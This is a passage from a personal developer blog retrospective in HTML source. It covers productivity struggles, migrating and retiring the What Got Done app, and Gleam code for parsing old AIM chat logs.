&lt;p>I find myself checking social media whenever I feel bored or low on motivation to think hard about a difficult piece of writing or software. I tell myself I&amp;rsquo;ll just check quickly and get back to work, but then I get sucked into an article. If I write a comment, then I keep obsessively checking for responses.&lt;/p>
&lt;p>I usually set aside a day to respond to comments if my article makes a big splash on Hacker News or reddit. My ZFS post didn&amp;rsquo;t make a big splash, but I still spent the day responding to comments.&lt;/p>
&lt;p>At one point, I was using a browser extension called LeechBlockNG to curb bad social media habits, but it seemed to &lt;a href="https://github.com/proginosko/LeechBlockNG/issues/124">leak memory and slow down my whole browser&lt;/a>, so I disabled it. I&amp;rsquo;m trying it again and haven&amp;rsquo;t noticed memory leaks, so maybe it can work this time.&lt;/p>
&lt;p>&lt;strong>Solution&lt;/strong>: Give productivity browser extensions another try to add more friction to unwanted timewaster sites.&lt;/p>
&lt;h3 id="recovering-from-sleep-disruptions">Recovering from sleep disruptions&lt;/h3>
&lt;p>My toddler is sleeping poorly, which means my wife and I are sleeping poorly.&lt;/p>
&lt;p>The sleep disruptions themselves are probably the smaller part of the problem. The more significant bit is that I use sleep disruptions to justify lazy behavior, like skipping writing sessions or checking social media. I&amp;rsquo;ll think, &amp;ldquo;I shouldn&amp;rsquo;t have to work hard today. I had such a bad night of sleep last night!&amp;rdquo; In reality, I could work 80-90% as effectively as usual, but I use poor sleep to justify slacking off.&lt;/p>
&lt;p>&lt;strong>Solution&lt;/strong>: Stop using sleep disruptions as an excuse to slack off.&lt;/p>
&lt;h3 id="procrastinating-paid-editing-work">Procrastinating paid editing work&lt;/h3>
&lt;p>I&amp;rsquo;ve been doing editing work as part of the services I offer for &lt;em>Refactoring English&lt;/em>.&lt;/p>
&lt;p>I like editing other people&amp;rsquo;s blog posts, but I find it mentally taxing. It&amp;rsquo;s hard to edit my own writing, so it&amp;rsquo;s even harder for me to edit for other people. With my writing, I can edit by feel without having to explain why I&amp;rsquo;m making the edit. When I give editing notes to other bloggers, I have to articulate what weaknesses I see in their draft and why I think my suggestion is better.&lt;/p>
&lt;p>I&amp;rsquo;ve found myself procrastinating my editing work, so even if I have time to complete it in a day, I&amp;rsquo;ll let it drag on for multiple days. And when I&amp;rsquo;m procrastinating editing work, I&amp;rsquo;m also procrastinating my own writing because I want to prioritize my clients&amp;rsquo; work ahead of my own.&lt;/p>
&lt;p>&lt;strong>Solution&lt;/strong>: Recognize that procrastinating on editing eats up a lot of time, and tackle it sooner.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="replacing-a-300-hour-vue-app-with-a-static-site-generator-in-10-hours">Replacing a 300-hour Vue app with a static site generator in 10 hours&lt;/h3>
&lt;p>In 2019, I &lt;a href="https://mtlynch.io/retrospectives/2019/06/#what-got-done-business-or-hobby">tried to build a business called What Got Done&lt;/a>. It was an app that allowed teammates to share weekly summaries of their work with one another.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot_hu_ffe0735f9ce14cc2.webp 300w, https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot_hu_2d73355b8067471c.webp 600w, https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot_hu_94930f75b4371ab2.webp 800w, https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot_hu_2d0a21b1105f8729.webp 1200w, https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot.webp 1434w'
 src="https://mtlynch.io/retrospectives/2025/08/whatgotdone-screenshot.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What Got Done was a website where people could share weekly updates about their work.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When I was at Google, they had an internal tool called Snippets that did the same thing as What Got Done. I loved it and &lt;a href="https://mtlynch.io/status-updates-to-nobody/">kept writing weekly updates after leaving Google&lt;/a>, even when I was working by myself.&lt;/p>
&lt;p>I never could find customers for What Got Done, so I &lt;a href="https://github.com/mtlynch/whatgotdone">open-sourced it&lt;/a> and maintained it as a hobby project for the last six years.&lt;/p>
&lt;p>I initially built What Got Done with Vue, Firestore, and AppEngine, and I&amp;rsquo;ve come to strongly dislike all of those technologies. I spent a long time &lt;a href="https://mtlynch.io/retrospectives/2021/12/#migrating-my-side-projects-away-from-google-cloud-platform">replacing Firestore with SQLite and AppEngine with fly.io&lt;/a>, but Vue stuck around, and it made development unpleasant.&lt;/p>
&lt;p>Every week, I&amp;rsquo;d post updates to What Got Done and think about how I prefer my blog authoring workflow with VS Code and Hugo. So, one weekend, I just reimplemented What Got Done as a simple static site with Hugo, which I now host at &lt;a href="https://weeks.mtlynch.io">weeks.mtlynch.io&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/08/weeks-mtlynch-screenshot.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/08/weeks-mtlynch-screenshot_hu_c39dc1f422e12652.webp 300w, https://mtlynch.io/retrospectives/2025/08/weeks-mtlynch-screenshot_hu_48262f17eb9371ab.webp 600w, https://mtlynch.io/retrospectives/2025/08/weeks-mtlynch-screenshot_hu_71d57e1a8fd32e3b.webp 800w, https://mtlynch.io/retrospectives/2025/08/weeks-mtlynch-screenshot.webp 1005w'
 src="https://mtlynch.io/retrospectives/2025/08/weeks-mtlynch-screenshot.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I reimplemented What Got Done as a static site I can generate with Hugo.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So, in six years, I probably spent about 300 hours implementing and maintaining What Got Done as a Go + Vue + SQLite + fly.io app. It only took 10 hours to reimplement it as a static site with simple Markdown files and Hugo.&lt;/p>
&lt;p>Because the new version is a just-for-me app, I can add personalized features like &lt;a href="https://github.com/mtlynch/weeks.mtlynch.io-old/blob/b7a79b5f7d8b6ed8d1ed93e19b221c2f889efc4b/dev-scripts/new-week">pre-populating my weekly updates from my git commits&lt;/a>. And of course, it&amp;rsquo;s orders of magnitude simpler and cheaper to host, maintain, and back up because it&amp;rsquo;s just a static site with source control instead of a full-blown web app with separate tech stacks for the frontend, backend, and database.&lt;/p>
&lt;h3 id="sunsetting-what-got-done">Sunsetting What Got Done&lt;/h3>
&lt;p>I don&amp;rsquo;t want to maintain What Got Done forever, especially now that I&amp;rsquo;m not even using it.&lt;/p>
&lt;p>Even though What Got Done only has a handful of active users, I hate abandoning people who started using something I offered, so I tried to make the offboarding experience on What Got Done nice:&lt;/p>
&lt;ul>
&lt;li>I &lt;a href="https://www.whatgotdone.com/shutdown-notice">announced on the website&lt;/a> that What Got Done would stop running at the end of the year.&lt;/li>
&lt;li>I added a feature to &lt;a href="https://github.com/mtlynch/whatgotdone/pull/963">let users export their posts in Markdown format&lt;/a>.
&lt;ul>
&lt;li>I needed to do this anyway to port my data to Hugo, so I figured it would be nice to build this feature into the web app itself so that any user could do it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I added a feature that lets users &lt;a href="https://github.com/mtlynch/whatgotdone/pull/970">set up a forwarding address for post-What Got Done shutdown&lt;/a>.
&lt;ul>
&lt;li>For example, I&amp;rsquo;ve configured my profile page &lt;a href="https://whatgotdone.com/michael">whatgotdone.com/michael&lt;/a> to permanently redirect to &lt;a href="https://weeks.mtlynch.io">weeks.mtlynch.io&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="progress-on-my-aim-log-parser-in-gleam">Progress on my AIM log parser in Gleam&lt;/h3>
&lt;p>I&amp;rsquo;m still learning the &lt;a href="https://gleam.run">Gleam programming language&lt;/a> by tinkering with a parser for my old AIM logs from high school and college. The most basic logs look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Session Start (AIM - DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[18:44] Jane: hi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[18:55] Me: hey whats up
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Session Close (Jane): Mon Sep 12 18:56:02 2005
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="parsing-timestamps">Parsing timestamps&lt;/h4>
&lt;p>In June, I had my parser working at a basic level in that it could take the log above and extract the sender and messages like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>(sender:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Jane&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>body:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>(sender:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Me&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>body:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>]&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I made progress in July, so the parser can now understand the timestamps, which are a little tricky because it has to combine the date from the session metadata with the simple &lt;code>HH:MM&lt;/code> information from the message. So, my log parser can convert the above log to this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>timestamp:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">must_parse_rfc3339&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;2005-09-12T18:44:00-04:00&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>sender:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Jane&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>body:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>timestamp:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">must_parse_rfc3339&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;2005-09-12T18:55:00-04:00&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>sender:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Me&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>body:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>]&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="collapsing-lexing-and-parsing-to-a-single-step">Collapsing lexing and parsing to a single step&lt;/h4>
&lt;p>I also simplified the parser to do a single pass instead of separate lexing and parsing.&lt;/p>
&lt;p>I initially thought it was more proper and elegant to split the logs into a list of tokens then parse those tokens. So, instead of the parser seeing a line like &lt;code>Session Start (AIM - DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005&lt;/code> and parsing it, I wanted the lexer to first change it to &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/480c45c9e76117635ff7b0509f500799297eaa94/test/plaintext_tokenizer_test.gleam#L84">a series of tokens&lt;/a> like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">SessionStart&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Word&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;(DumbAIMScreenName:Jane)&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ColonSpace&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Word&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Mon&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Word&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Sep&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>...&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>]&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But that meant I needed a secret first pass to split the string into substrings that the tokenizer could recognize like &lt;code>[&amp;quot;Session&amp;quot;, &amp;quot; &amp;quot;, &amp;quot;Start&amp;quot;]&lt;/code>, and I had to implement my own string split logic because Gleam&amp;rsquo;s built in libraries have no way of splitting a string by substring and then keeping the substring, too. For example, if I split by newlines then by spaces, then I&amp;rsquo;d have a list of strings, but I would lose track of whether the separators were spaces or newlines.&lt;/p>
&lt;p>It felt like I was actually parsing the input three times: &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/2474457033d4900631e4fb443981cd3f1d523f48/src/plaintext_tokenizer.gleam#L15-L73">once for my custom string splitting&lt;/a>, &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/2474457033d4900631e4fb443981cd3f1d523f48/src/plaintext_tokenizer.gleam#L75-L86">once for the lexing&lt;/a>, and &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/2474457033d4900631e4fb443981cd3f1d523f48/src/plaintext_parser.gleam#L27-L59">once for the actual parser&lt;/a>. I initially assumed it was because I didn&amp;rsquo;t know enough about functional languages or text parsers, and I&amp;rsquo;d find a more elegant way to lex and parse.&lt;/p>
&lt;p>I used my confusion to justify finally purchasing a print copy of &lt;a href="https://craftinginterpreters.com/">&lt;em>Crafting Interpreters&lt;/em>&lt;/a>, the most beautifully-designed software book I&amp;rsquo;ve ever seen.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 390px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/08/crafting-interpreters.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 390px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/08/crafting-interpreters_hu_f7eb848f395471a9.webp 300w, https://mtlynch.io/retrospectives/2025/08/crafting-interpreters_hu_86338155ab1684a9.webp 600w, https://mtlynch.io/retrospectives/2025/08/crafting-interpreters_hu_ebf42b40000b6326.webp 800w, https://mtlynch.io/retrospectives/2025/08/crafting-interpreters_hu_c4193246de350a46.webp 1200w, https://mtlynch.io/retrospectives/2025/08/crafting-interpreters.webp 1224w'
 src="https://mtlynch.io/retrospectives/2025/08/crafting-interpreters.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My Gleam project finally gave me an excuse to buy a print copy of &lt;a href="https://craftinginterpreters.com/">&lt;em>Crafting Interpreters&lt;/em>&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After reading the lexing chapter of the book, I concluded that my AIM logs weren&amp;rsquo;t structured enough for lexing. I tried &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/pulls/20">collapsing everything down to a parser&lt;/a> that reads the input character by character, and that felt simpler.&lt;/p>
&lt;p>The bummer of parsing character by character is that Gleam&amp;rsquo;s pattern matching looks much uglier. In the old implementation, I could look for string patterns &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/480c45c9e76117635ff7b0509f500799297eaa94/src/plaintext_tokenizer.gleam#L76-L79">like this&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>contents&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;Session&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Start&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>..rest]&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">tokenize_list&lt;/span>(rest,&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#447fcf;text-decoration:underline">SessionStart&lt;/span>,&lt;span style="color:#666"> &lt;/span>..acc])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;Session&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Close&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>..rest]&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">tokenize_list&lt;/span>(rest,&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#447fcf;text-decoration:underline">SessionClose&lt;/span>,&lt;span style="color:#666"> &lt;/span>..acc])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And now it&amp;rsquo;s &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/926124b4a660adeea0795e10a2979f73cfa6dcb5/src/plaintext_parser.gleam#L218-L242">a longer, messier pattern match&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>state.remaining_graphemes&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;S&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;e&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;s&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;s&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;i&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;o&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;n&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34; &amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;S&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;t&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;a&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;r&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;t&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>...&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="am-i-forcing-classes-into-gleam">Am I forcing classes into Gleam?&lt;/h4>
&lt;p>As I progressed with my parser, I found that I was writing functions that had the same signature over and over:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_tokens_with_messages&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>tokens:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Token&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>messages:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A bunch of my functions took the same parameters and had the same return value, and as I added more code, the list of parameters and return values grew larger.&lt;/p>
&lt;p>So, I created a &lt;code>ParseState&lt;/code> type and &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/926124b4a660adeea0795e10a2979f73cfa6dcb5/src/plaintext_parser.gleam">passed that around instead&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ParseState&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ParseState&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>last_timestamp:&lt;span style="color:#666"> &lt;/span>timestamp.&lt;span style="color:#447fcf;text-decoration:underline">Timestamp&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>messages:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Message&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>remaining_graphemes:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
